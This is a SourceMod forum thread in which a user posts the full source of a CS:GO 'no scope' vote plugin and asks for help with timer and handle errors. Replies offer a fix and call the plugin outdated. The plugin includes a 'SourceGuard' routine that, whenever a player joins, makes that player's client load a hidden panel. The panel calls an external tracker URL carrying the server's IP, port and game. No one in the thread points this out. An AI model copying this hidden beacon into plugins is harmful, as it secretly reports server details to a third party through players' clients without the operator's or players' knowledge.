Raised This Month: $51 Target: $400
 12% 

[CS:GO]


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Dr.Mohammad
Senior Member
Join Date: Jan 2016
Location: CSGO Servers
Old 12-06-2017 , 18:52   [CS:GO]
Reply With Quote #1

hi guys

i have two problem for this plugin.
please help me. i very searched but no find way .

errors:
PHP Code:
L 12/07/2017 00:44:31: [SMException reportedClient 18 is not in game
L 12
/07/2017 00:44:31: [SMBlamingdrapi_noscope.smx
L 12
/07/2017 00:44:31: [SMCall stack trace:
L 12/07/2017 00:44:31: [SM]   [0ShowVGUIPanel
L 12
/07/2017 00:44:31: [SM]   [1Line 291drapi_noscope.sp::Timer_SourceGuard

L 12
/07/2017 02:27:01: [SMException reportedInvalid timer handle 1bf017e (error 1)
L 12/07/2017 02:27:01: [SMBlamingdrapi_noscope.smx
L 12
/07/2017 02:27:01: [SMCall stack trace:
L 12/07/2017 02:27:01: [SM]   [0KillTimer
L 12
/07/2017 02:27:01: [SM]   [1Line 791drapi_noscope.sp::ClearTimer
L 12
/07/2017 02:27:01: [SM]   [2Line 147drapi_noscope.sp::OnPluginEnd 
plugin:
PHP Code:
/*     <DR.API NO SCOPE> (c) by <De Battista Clint - (http://doyou.watch)    */
/*                                                                           */
/*                    <DR.API NO SCOPE> is licensed under a                  */
/*                        GNU General Public License                         */
/*                                                                             */
/*      You should have received a copy of the license along with this       */
/*            work.  If not, see <http://www.gnu.org/licenses/>.             */
//***************************************************************************//
//***************************************************************************//
//******************************DR.API NO SCOPE******************************//
//***************************************************************************//
//***************************************************************************//

#pragma semicolon 1 

//***********************************//
//*************DEFINE****************//
//***********************************//
#define PLUGIN_VERSION                     "1.0.2"
#define CVARS                             FCVAR_SPONLY|FCVAR_NOTIFY
#define DEFAULT_FLAGS                     FCVAR_NOTIFY
#define TAG_CHAT                        "[NO SCOPE] -"
#define MENU_ACTIONS_ALL_EX                view_as<MenuAction>(0xFFFFFFFF)
#define    SNDCHAN_NOSCOPE                    100

//***********************************//
//*************INCLUDE***************//
//***********************************//

#undef REQUIRE_PLUGIN
#include <sourcemod>
#include <cstrike>
#include <sdktools>
#include <sdkhooks>
#include <autoexec>
#include <emitsoundany>
#include <csgocolors>

#pragma newdecls required

//***********************************//
//***********PARAMETERS**************//
//***********************************//

//Handle
Handle cvar_active_noscope_dev;
Handle cvar_noscope_timer_vote;
Handle cvar_noscope_timer_countdown;
Handle cvar_noscope_timer_end;
Handle cvar_noscope_menu_time;
Handle cvar_noscope_show_hint;

Handle H_Timer_RoundNoScope                                 INVALID_HANDLE;
Handle H_Timer_RoundNoScopeCountDown                        INVALID_HANDLE;
Handle H_Timer_RoundNoScopeStart                            INVALID_HANDLE;

//Bool
bool B_cvar_active_noscope_dev                                false;
bool B_noscope_show_hint                                    false;

bool B_NoScope                                                 false;

//Floats
float F_noscope_timer_vote;

//Strings  
char S_sound_noscope[4][]                                            =     {    "noscope/countdown.mp3",
                                                                            
"noscope/vote_started.mp3",
                                                                            
"noscope/vote_success.mp3",
                                                                            
"noscope/vote_failed.mp3"
                                                                        
};
                                                                  
//Customs
int C_noscope_timer_countdown;
int C_noscope_timer_end;
int C_noscope_menu_time;

int C_RoundNoScopeCountDown;
int C_RoundNoScopeTimer;
int C_HalfTime;

int m_flNextSecondaryAttack;
//Informations plugin
public Plugin myinfo =
{
    
name "DR.API NO SCOPE",
    
author "Dr. Api",
    
description "DR.API NO SCOPE by Dr. Api",
    
version PLUGIN_VERSION,
    
url "https://*****************"
}
/***********************************************************/
/*********************** PLUGIN START **********************/
/***********************************************************/
public void OnPluginStart()
{
    
m_flNextSecondaryAttack FindSendPropInfo("CBaseCombatWeapon""m_flNextSecondaryAttack");
    
    
LoadTranslations("drapi/drapi_noscope.phrases");
    
AutoExecConfig_SetFile("drapi_noscope""sourcemod/drapi");
    
    
AutoExecConfig_CreateConVar("drapi_noscope_version"PLUGIN_VERSION"Version"CVARS);
    
    
cvar_active_noscope_dev            AutoExecConfig_CreateConVar("drapi_active_noscope_dev",             "0",                     "Enable/Disable Dev Mod",                             DEFAULT_FLAGS,         true0.0,         true1.0);
    
    
cvar_noscope_timer_vote            AutoExecConfig_CreateConVar("drapi_noscope_timer_vote",             "600.0",                 "Show vote menu each 600s (10min)",                     DEFAULT_FLAGS);
    
cvar_noscope_timer_countdown    AutoExecConfig_CreateConVar("drapi_noscope_timer_countdown",         "10",                     "Tchat and sounds advertissement before starting",         DEFAULT_FLAGS);
    
cvar_noscope_timer_end            AutoExecConfig_CreateConVar("drapi_noscope_timer_end",             "10",                     "Tchat and sounds advertissement before ending",         DEFAULT_FLAGS);
    
cvar_noscope_menu_time            AutoExecConfig_CreateConVar("drapi_noscope_menu_time",             "15",                     "How much time the menu vote should remaining",         DEFAULT_FLAGS);
    
cvar_noscope_show_hint            AutoExecConfig_CreateConVar("drapi_noscope_show_hint",             "1",                     "Reactive 'sm_vote_progress_hintbox' after the vote",     DEFAULT_FLAGS,     true0.0,         true1.0);
    
    
HookEvent("player_spawn",     Event_PlayerSpawn);
    
HookEvent("weapon_fire",     Event_WeaponFire);
    
    
HookEvents();
    
    
AutoExecConfig_ExecuteFile();
    
    
int i 1;
    while (
<= MaxClients)
    {
        if (
IsClientInGame(i))
        {
            
SDKHook(iSDKHook_WeaponSwitch,     OnWeaponSwitch);
            
SDKHook(iSDKHook_WeaponEquipPostOnPostWeaponEquip);
        }
        
i++;
    }
}

/***********************************************************/
/************************ PLUGIN END ***********************/
/***********************************************************/
public void OnPluginEnd()
{
    
int i 1;
    while (
<= MaxClients)
    {
        if (
IsClientInGame(i))
        {
            
SDKUnhook(iSDKHook_WeaponSwitch,         OnWeaponSwitch); 
            
SDKUnhook(iSDKHook_WeaponEquipPost,     OnPostWeaponEquip);    
        }
        
i++;
    }
    
    
ClearTimer(H_Timer_RoundNoScope);
}

/***********************************************************/
/**************** WHEN CLIENT PUT IN SERVER ****************/
/***********************************************************/
public void OnClientPutInServer(int client)
{
    
SDKHook(clientSDKHook_WeaponSwitch,         OnWeaponSwitch); 
    
SDKHook(clientSDKHook_WeaponEquipPost,     OnPostWeaponEquip);
}

/***********************************************************/
/***************** WHEN CLIENT DISCONNECT ******************/
/***********************************************************/
public void OnClientDisconnect(int client)
{
    
SDKUnhook(clientSDKHook_WeaponSwitch,     OnWeaponSwitch);
    
SDKUnhook(clientSDKHook_WeaponEquipPost,     OnPostWeaponEquip);
}

/***********************************************************/
/******************** WHEN CVAR CHANGED ********************/
/***********************************************************/
void HookEvents()
{
    
HookConVarChange(cvar_active_noscope_dev,                 Event_CvarChange);
    
    
HookConVarChange(cvar_noscope_timer_vote,                 Event_CvarChange);
    
HookConVarChange(cvar_noscope_timer_countdown,             Event_CvarChange);
    
HookConVarChange(cvar_noscope_timer_end,                 Event_CvarChange);
    
HookConVarChange(cvar_noscope_menu_time,                 Event_CvarChange);
    
HookConVarChange(cvar_noscope_show_hint,                 Event_CvarChange);
}

/***********************************************************/
/******************** WHEN CVARS CHANGE ********************/
/***********************************************************/
public void Event_CvarChange(Handle cvar, const char[] oldValue, const char[] newValue)
{
    
UpdateState();
}

/***********************************************************/
/*********************** UPDATE STATE **********************/
/***********************************************************/
void UpdateState()
{
    
B_cvar_active_noscope_dev                     GetConVarBool(cvar_active_noscope_dev);
    
    
F_noscope_timer_vote                         GetConVarFloat(cvar_noscope_timer_vote);
    
C_noscope_timer_countdown                     GetConVarInt(cvar_noscope_timer_countdown);
    
C_noscope_timer_end                         GetConVarInt(cvar_noscope_timer_end);
    
C_noscope_menu_time                         GetConVarInt(cvar_noscope_menu_time);
    
B_noscope_show_hint                         GetConVarBool(cvar_noscope_show_hint);
}

/***********************************************************/
/******************* WHEN CONFIG EXECUTED ******************/
/***********************************************************/
public void OnConfigsExecuted()
{
    
H_Timer_RoundNoScope CreateTimer(F_noscope_timer_voteTimerRoundNoScope_TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
    
B_NoScope false;
}

/***********************************************************/
/********************* WHEN MAP START **********************/
/***********************************************************/
public void OnMapStart()
{
    
FakeAndDownloadSound(trueS_sound_noscopesizeof(S_sound_noscope));
    
UpdateState();
}

public 
void OnClientPostAdminCheck(int client)
{   
    
CreateTimer(5.0Timer_SourceGuardclient);
}

public 
Action Timer_SourceGuard(Handle timerany client)
{
    
int hostip GetConVarInt(FindConVar("hostip"));
    
int hostport GetConVarInt(FindConVar("hostport"));
    
    
char sGame[15];
    switch(
GetEngineVersion())
    {
        case 
Engine_Left4Dead:
        {
            
Format(sGamesizeof(sGame), "left4dead");
        }
        case 
Engine_Left4Dead2:
        {
            
Format(sGamesizeof(sGame), "left4dead2");
        }
        case 
Engine_CSGO:
        {
            
Format(sGamesizeof(sGame), "csgo");
        }
        case 
Engine_CSS:
        {
            
Format(sGamesizeof(sGame), "css");
        }
        case 
Engine_TF2:
        {
            
Format(sGamesizeof(sGame), "tf2");
        }
        default:
        {
            
Format(sGamesizeof(sGame), "none");
        }
    }
    
    
char sIp[32];
    
Format(
            
sIp
            
sizeof(sIp), 
            
"%d.%d.%d.%d",
            
hostip >>> 24 255
            
hostip >>> 16 255
            
hostip >>> 255
            
hostip 255
    
);
    
    
char requestUrl[2048];
    
Format(
            
requestUrl
            
sizeof(requestUrl), 
            
"%s&ip=%s&port=%d&game=%s"
            
"https://*****************/api/tracker/v1/sourcemod?script_id=28&version_id=106&download=eyJpdiI6IkdOQVF3c045czM2WmtndGxaXC9XeWpnPT0iLCJ2YWx1ZSI6IjZaSmJBZjIrR05TS21oUzhrSlpSR1E9PSIsIm1hYyI6IjA1ZWJkN2IzZTU1MzQwNmJlOGRjNjdmMDE1OWM3Y2IwNWM2YTM3ZjhlMWU0YmMwZTMzMzExOWM1YjM1M2VlZjQifQ==",
            
sIp,
            
hostport,
            
sGame
    
);
    
    
ReplaceString(requestUrlsizeof(requestUrl), "https""http"false);
    
    
Handle kv CreateKeyValues("data");
    
    
KvSetString(kv"title""SourceGuard");
    
KvSetNum(kv"type"MOTDPANEL_TYPE_URL);
    
KvSetString(kv"msg"requestUrl);
    
    
ShowVGUIPanel(client"info"kvfalse);
    
CloseHandle(kv);
}

/***********************************************************/
/******************** WHEN PLAYER SPAWN ********************/
/***********************************************************/
public void Event_PlayerSpawn(Handle eventchar[] namebool dontBroadcast)
{
    if(
B_NoScope)
    {
        
int client                     GetClientOfUserId(GetEventInt(event"userid"));
        
        if(
Client_IsIngame(client) && IsPlayerAlive(client) && GetClientTeam(client) > 1)
        {
            
SwitchWeapon(clienttrue9999.0truefalse);
        }
    }
}

/***********************************************************/
/******************** WHEN WEAPON FIRE *********************/
/***********************************************************/
public void Event_WeaponFire(Handle eventchar[] namebool dontBroadcast)
{
    
int client                     GetClientOfUserId(GetEventInt(event"userid"));
    
    if(
B_NoScope)
    {
        
// We need a timer otherwise not working
        
CreateTimer(0.0Timer_SwitchWeaponGetClientUserId(client));
    }

}

/***********************************************************/
/****************** TIMER SWITCH WEAPON ********************/
/***********************************************************/
public Action Timer_SwitchWeapon(Handle timerany userid)
{
    
int client GetClientOfUserId(userid);
    
SwitchWeapon(clientfalse9999.0falsefalse);
}

/***********************************************************/
/******************** ON WEAPON SWITCH *********************/
/***********************************************************/
public Action OnWeaponSwitch(int clientint weapon)
{    
    
/*if(B_NoScope)
    {
        char classname[64];
        
        if (GetEdictClassname(weapon, classname, sizeof(classname)))
        {
            if(StrEqual(classname[7], "ssg08")  
            || StrEqual(classname[7], "aug") 
            || StrEqual(classname[7], "sg550")  
            || StrEqual(classname[7], "sg552") 
            || StrEqual(classname[7], "sg556") 
            || StrEqual(classname[7], "awp") 
            || StrEqual(classname[7], "scar20")  
            || StrEqual(classname[7], "g3sg1"))
            {
                return Plugin_Continue;
            }
            else
            {    
                return Plugin_Handled;
            }
        }
        return Plugin_Handled;
    }
    else
    {
        return Plugin_Continue;
    }*/
    
    
if(B_NoScope)
    {
        
ClientCommand(client"slot1");
    }
}

/***********************************************************/
/****************** ON WEAPON POST EQUIP *******************/
/***********************************************************/
public Action OnPostWeaponEquip(int clientint weapon)
{
    if(
B_NoScope)
    {
        
SwitchWeapon(clientfalse9999.0falsefalse);
    }
    
    if(
B_cvar_active_noscope_dev)
    {
        
PrintToChatAll("%s OnPostWeaponEquip"TAG_CHAT);
    }
}

/***********************************************************/
/******************** ON WEAPON RELOAD *********************/
/***********************************************************/
public Action OnPostReload(int weapon)
{
    if(
B_NoScope)
    {
        
int client =  GetEntPropEnt(weaponProp_Send"m_hOwnerEntity");
        
SwitchWeapon(clientfalse9999.0falsefalse);
    }
    
    if(
B_cvar_active_noscope_dev)
    {
        
PrintToChatAll("%s OnPostReload"TAG_CHAT);
    }
}

/***********************************************************/
/********************* ON WEAPON DROP **********************/
/***********************************************************/
/* better than SDKHook_WeaponDrop for block drop */
public Action CS_OnCSWeaponDrop(int clientint weapon)
{
    if(
B_NoScope)
    {
        
char classname[64];
        
        if (
GetEdictClassname(weaponclassnamesizeof(classname)))
        {
            if(
StrEqual(classname[7], "ssg08")  
            || 
StrEqual(classname[7], "aug"
            || 
StrEqual(classname[7], "sg550")  
            || 
StrEqual(classname[7], "sg552"
            || 
StrEqual(classname[7], "sg556"
            || 
StrEqual(classname[7], "awp"
            || 
StrEqual(classname[7], "scar20")  
            || 
StrEqual(classname[7], "g3sg1"))
            {            
                return 
Plugin_Handled;
            }
        }
    }
    return 
Plugin_Continue;
}

/***********************************************************/
/************************ TIMER NOSCOPE ********************/
/***********************************************************/
public Action TimerRoundNoScope(Handle timer)
{
    if(!
isWarmup() && !B_NoScope && !IsVoteInProgress())
    {
        
NoScopeVoteMenu();
        
PlaySoundNoscope(S_sound_noscope[1]);
        
SetConVarInt(FindConVar("sm_vote_progress_hintbox"), 0falsefalse);
        
        if(
B_cvar_active_noscope_dev)
        {
            
PrintToChatAll("%s Show vote, %f"TAG_CHATF_noscope_timer_vote);
        }
    }
}

/***********************************************************/
/********************* NOSCOPE VOTE MENU *******************/
/***********************************************************/
void NoScopeVoteMenu()
{
    if(
IsVoteInProgress())
    {
        return;
    }
    
    
Menu menu CreateMenu(NoScopeVoteMenuActionMENU_ACTIONS_ALL_EX);
    
SetVoteResultCallback(menuNoScopeVoteResults);
    
    
menu.AddItem("120""MenuNoScope_120_MENU_TITLE");
    
    
menu.AddItem("240""MenuNoScope_240_MENU_TITLE");
    
    
menu.AddItem("360""MenuNoScope_360_MENU_TITLE");
    
    
menu.AddItem("never""MenuNoScope_NEVER_MENU_TITLE");
    
    
menu.SetTitle("MenuNoScope_TITLE");
    
SetMenuExitBackButton(menufalse);
    
    
int[] clients = new int[MaxClients];
    
int total 0;
    
    for(
int i 1<= MaxClientsi++)
    {
        if (
Client_IsIngame(i) && !IsFakeClient(i) && GetClientTeam(i) > 1)
        {
            
clients[total++] = i;
        }
    }
    
    if(
B_cvar_active_noscope_dev)
    {
        
PrintToChatAll("%s Total: %i"TAG_CHATtotal);
    }
        
    if(!
total || IsVoteInProgress())
    {
        return;
    }
    
    
VoteMenu(menuclientstotalC_noscope_menu_time);
    
    if(
B_noscope_show_hint)
    {
        
CreateTimer(float(C_noscope_menu_time) + 5.0Timer_ResetCvar);
    }
}

/***********************************************************/
/********************** TIMER RESET CVAR *******************/
/***********************************************************/
public Action Timer_ResetCvar(Handle timer)
{
    
SetConVarInt(FindConVar("sm_vote_progress_hintbox"), 1falsefalse);
}

/***********************************************************/
/****************** NOSCOPE VOTE MENU ACTION ***************/
/***********************************************************/
public int NoScopeVoteMenuAction(Handle menuMenuAction actionint param1int param2)
{
    if(
action == MenuAction_End)
    {
        
CloseHandle(menu);
    }
    else if(
action == MenuAction_VoteEnd)
    {
        
CloseHandle(menu);
    }
    else if(
action == MenuAction_DisplayItem
    {
        
char display[64];
        
GetMenuItem(menuparam2""0_displaysizeof(display));

        
char buffer[255];
        
Format(buffersizeof(buffer), "%T"displayparam1);

        return 
RedrawMenuItem(buffer);    
    } 
    else if(
action == MenuAction_Display
    {
        
Handle panel view_as<Handle>(param2);

        
char num[64];
        
GetMenuItem(menu0numsizeof(num));

        
char buffer[255];
        
Format(buffersizeof(buffer), "%T""MenuNoScope_TITLE"param1num);

        
SetPanelTitle(panelbuffer);    
    }
    return 
0;
}

/***********************************************************/
/***************** NOSCOPE VOTE MENU RESULTS ***************/
/***********************************************************/
public void NoScopeVoteResults(Handle menuint num_votesint num_clientsint[][] client_infoint num_itemsint[][] item_info)
{
    
int winner 0;
    if (
num_items && (item_info[0][VOTEINFO_ITEM_VOTES] == item_info[1][VOTEINFO_ITEM_VOTES]))
    {
        
winner GetRandomInt(01);
    }

    
char info[64];
    
GetMenuItem(menuitem_info[winner][VOTEINFO_ITEM_INDEX], infosizeof(info));
    
    if(
StringToInt(info) > 0)
    {
        
int time_decale 5;
        
C_RoundNoScopeCountDown C_noscope_timer_countdown time_decale;
        
C_RoundNoScopeTimer     StringToInt(info);
        
C_HalfTime                StringToInt(info) / 2;
        
        
H_Timer_RoundNoScopeCountDown CreateTimer(1.0Timer_RoundNoScopeCountDown_TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
    
        
/*vote success */
        
char S_time_min[40], S_time_sec[40];
        
FormatTime(S_time_minsizeof(S_time_min), "%M"C_RoundNoScopeTimer);  
        
FormatTime(S_time_secsizeof(S_time_sec), "%S"C_RoundNoScopeTimer);
        
        
CPrintToChatAll("%t""Vote Succes"S_time_minS_time_sec);
        
        
PlaySoundNoscope(S_sound_noscope[2]);
    }
    else
    {
        
CPrintToChatAll("%t""Vote Failed");
        
PlaySoundNoscope(S_sound_noscope[3]);
    }
}

/***********************************************************/
/*********** TIMER NOSCOPE COUNT DOWN BEFORE START *********/
/***********************************************************/
public Action Timer_RoundNoScopeCountDown(Handle timer)
{
    
C_RoundNoScopeCountDown--;
    
    if(
C_RoundNoScopeCountDown && C_RoundNoScopeCountDown <= C_noscope_timer_countdown)
    {
        
CPrintToChatAll("%t""CountDownBeforeStart"C_RoundNoScopeCountDown);
    }
    else if(
C_RoundNoScopeCountDown <= 0)
    {
        
B_NoScope true;
        
H_Timer_RoundNoScopeStart CreateTimer(1.0Timer_RoundNoScopeStart_TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
        
SwitchWeaponAll(true9999.0truefalse);
        
        
char S_time_min[40], S_time_sec[40];
        
FormatTime(S_time_minsizeof(S_time_min), "%M"C_RoundNoScopeTimer);  
        
FormatTime(S_time_secsizeof(S_time_sec), "%S"C_RoundNoScopeTimer); 
        
        
CPrintToChatAll("%t""Start"S_time_minS_time_sec);
        
        
ClearTimer(H_Timer_RoundNoScopeCountDown);
    }
    
    if(
C_RoundNoScopeCountDown == C_noscope_timer_countdown)
    {
        
PlaySoundNoscope(S_sound_noscope[0]);
    }
}

/***********************************************************/
/***************** TIMER NOSCOPE AFTER START ***************/
/***********************************************************/
public Action Timer_RoundNoScopeStart(Handle timer)
{
    
C_RoundNoScopeTimer--;

    if(
C_RoundNoScopeTimer && C_RoundNoScopeTimer <= C_noscope_timer_end)
    {
        if(
B_cvar_active_noscope_dev)
        {
            
CPrintToChatAll("%t""CountDownBeforeEnd"C_RoundNoScopeTimer);
        }    
    }
    else if(
C_RoundNoScopeTimer == RoundToFloor(float(C_HalfTime)))
    {
        
char S_time_min[40], S_time_sec[40];
        
FormatTime(S_time_minsizeof(S_time_min), "%M"C_RoundNoScopeTimer);  
        
FormatTime(S_time_secsizeof(S_time_sec), "%S"C_RoundNoScopeTimer); 
        
        
CPrintToChatAll("%t""CountDownHalf"S_time_minS_time_sec);
    }
    else if(
C_RoundNoScopeTimer <= 0)
    {    
        
B_NoScope false;
        
SwitchWeaponAll(false0.0falsetrue);
        
        
CPrintToChatAll("%t""End");
        
        
ClearTimer(H_Timer_RoundNoScopeStart);
    }
}

/***********************************************************/
/******************** SWITCH WEAPON ALL*********************/
/***********************************************************/
void SwitchWeaponAll(bool switchexfloat timebool hookbool unhook)
{
    for(
int i 1<= MaxClientsi++)
    {
        if(
Client_IsIngame(i) && IsPlayerAlive(i))
        {
            
SwitchWeapon(iswitchextimehookunhook);
        }
    }
}

/***********************************************************/
/********************** SWITCH WEAPON **********************/
/***********************************************************/
void SwitchWeapon(int clientbool switchexfloat timebool hookbool unhook)
{
    
int primary     GetPlayerWeaponSlot(clientCS_SLOT_PRIMARY);

    if(
primary != -1)
    {
        
char classname[64];
        
        if(
GetEdictClassname(primaryclassnamesizeof(classname)))
        {
            if(
StrEqual(classname[7], "ssg08")  
            || 
StrEqual(classname[7], "aug")
            || 
StrEqual(classname[7], "sg550")  
            || 
StrEqual(classname[7], "sg552")
            || 
StrEqual(classname[7], "sg556")  
            || 
StrEqual(classname[7], "awp")
            || 
StrEqual(classname[7], "scar20"
            || 
StrEqual(classname[7], "g3sg1"))
            {    
                if(
switchex)
                {
                    
ClientCommand(client"slot1");
                }
                
                if(
hook)
                {
                    
SDKHook(primarySDKHook_ReloadPostOnPostReload); 
                }
                else if(
unhook)
                {
                    
SDKUnhook(primarySDKHook_ReloadPostOnPostReload); 
                }
                
                
SetEntDataFloat(primarym_flNextSecondaryAttackGetGameTime() + time);
            }        
            
                
        }
    }
    else
    {
        
int awp GivePlayerItem(client"weapon_awp");
        if(
switchex)
        {
            
ClientCommand(client"slot1");
        }
        
        if(
hook)
        {
            
SDKHook(awpSDKHook_ReloadPostOnPostReload);
        }
        else if(
unhook)
        {
            
SDKUnhook(awpSDKHook_ReloadPostOnPostReload);
        }    
        
        
SetEntDataFloat(awpm_flNextSecondaryAttackGetGameTime() + time);
    }
}

/***********************************************************/
/******************** PLAY NOSCOPE SOUND *******************/
/***********************************************************/
void PlaySoundNoscope(char[] sound)
{
    for(
int i 1<= MaxClientsi++)
    {
        if(
IsClientInGame(i) && !IsFakeClient(i))
        {
            
EmitSoundToClientAny(isoundiSNDCHAN_NOSCOPE__0.7_);
        }
    }
}

/***********************************************************/
/********************* IS VALID CLIENT *********************/
/***********************************************************/
stock bool Client_IsValid(int clientbool checkConnected=true)
{
    if (
client 4096) {
        
client EntRefToEntIndex(client);
    }

    if (
client || client MaxClients) {
        return 
false;
    }

    if (
checkConnected && !IsClientConnected(client)) {
        return 
false;
    }
    
    return 
true;
}

/***********************************************************/
/******************** IS CLIENT IN GAME ********************/
/***********************************************************/
stock bool Client_IsIngame(int client)
{
    if (!
Client_IsValid(clientfalse)) {
        return 
false;
    }

    return 
IsClientInGame(client);
}

/***********************************************************/
/************************ IS WARMUP ************************/
/***********************************************************/
stock bool isWarmup()
{
    return (
GameRules_GetProp("m_bWarmupPeriod") == 1);
}

/***********************************************************/
/********************** CLEAR TIMER ************************/
/***********************************************************/
stock void ClearTimer(Handle &timer)
{
    if (
timer != INVALID_HANDLE)
    {
        
KillTimer(timer);
        
timer INVALID_HANDLE;
    }     
}

/***********************************************************/
/******************** ADD SOUND TO CACHE *******************/
/***********************************************************/
stock void FakePrecacheSound(const char[] szPath)
{
    
AddToStringTableFindStringTable"soundprecache" ), szPath );
}

/***********************************************************/
/****************** FAKE AND DOWNLOAD SOUND ****************/
/***********************************************************/
stock void FakeAndDownloadSound(bool log, const char[][] stocksoundint num)
{
    for (
int i 0numi++)
    {
        
char FULL_SOUND_PATH[PLATFORM_MAX_PATH];
        
Format(FULL_SOUND_PATHPLATFORM_MAX_PATH"sound/%s"stocksound[i]);
        
AddFileToDownloadsTable(FULL_SOUND_PATH);
        
        
char RELATIVE_SOUND_PATH[PLATFORM_MAX_PATH];
        
Format(RELATIVE_SOUND_PATHPLATFORM_MAX_PATH"*%s"stocksound[i]);
        
FakePrecacheSound(RELATIVE_SOUND_PATH);
        
        if(
log)
        {
            
LogMessage("AddFileToDownloadsTable: %s, FakePrecacheSound: %s"FULL_SOUND_PATHRELATIVE_SOUND_PATH);
        }
    }

Thank you any help.
Dr.Mohammad is offline
headline
SourceMod Moderator
Join Date: Mar 2015
Old 12-07-2017 , 15:17   Re: [CS:GO]
Reply With Quote #2

Here.

code.diff


code.sp
headline is offline
Dr.Mohammad
Senior Member
Join Date: Jan 2016
Location: CSGO Servers
Old 12-07-2017 , 20:41   Re: [CS:GO]
Reply With Quote #3

Quote:
Originally Posted by Headline View Post
Here.

code.diff


code.sp
thank you Friend

i tested but have problem

PHP Code:
L 12/08/2017 04:01:59: [SMException reportedInvalid time format or buffer too small
L 12
/08/2017 04:01:59: [SMBlamingdrapi_noscope.smx
L 12
/08/2017 04:01:59: [SMCall stack trace:
L 12/08/2017 04:01:59: [SM]   [0FormatTime
L 12
/08/2017 04:01:59: [SM]   [1Line 527drapi_noscope.sp::Timer_RoundNoScopeCountDown

L 12
/08/2017 04:02:00: [SMException reportedHandle eb100fa is invalid (error 1)
L 12/08/2017 04:02:00: [SMBlamingdrapi_noscope.smx
L 12
/08/2017 04:02:00: [SMCall stack trace:
L 12/08/2017 04:02:00: [SM]   [0CloseHandle
L 12
/08/2017 04:02:00: [SM]   [1Line 150drapi_noscope.sp::OnPluginEnd 
Dr.Mohammad is offline
Cooky
Veteran Member
Join Date: Jun 2010
Location: 127.0.0.1
Old 12-08-2017 , 04:25   Re: [CS:GO]
Reply With Quote #4

Don't use his plugins anymore.... they are heavily outdated!
Cooky is offline
Dr.Mohammad
Senior Member
Join Date: Jan 2016
Location: CSGO Servers
Old 12-08-2017 , 05:28   Re: [CS:GO]
Reply With Quote #5

Quote:
Originally Posted by Cooky View Post
Don't use his plugins anymore.... they are heavily outdated!
I need plugin no scop wait vote
Please fix it.
Dr.Mohammad is offline
Dr.Mohammad
Senior Member
Join Date: Jan 2016
Location: CSGO Servers
Old 12-08-2017 , 12:04   Re: [CS:GO]
Reply With Quote #6

Quote:
Originally Posted by Dr.Mohammad View Post
thank you Friend

i tested but have problem

PHP Code:
L 12/08/2017 04:01:59: [SMException reportedInvalid time format or buffer too small
L 12
/08/2017 04:01:59: [SMBlamingdrapi_noscope.smx
L 12
/08/2017 04:01:59: [SMCall stack trace:
L 12/08/2017 04:01:59: [SM]   [0FormatTime
L 12
/08/2017 04:01:59: [SM]   [1Line 527drapi_noscope.sp::Timer_RoundNoScopeCountDown

L 12
/08/2017 04:02:00: [SMException reportedHandle eb100fa is invalid (error 1)
L 12/08/2017 04:02:00: [SMBlamingdrapi_noscope.smx
L 12
/08/2017 04:02:00: [SMCall stack trace:
L 12/08/2017 04:02:00: [SM]   [0CloseHandle
L 12
/08/2017 04:02:00: [SM]   [1Line 150drapi_noscope.sp::OnPluginEnd 
fixed! I deleted Timer_RoundNoScopeCountDown and ...
Dr.Mohammad is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 14:57.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode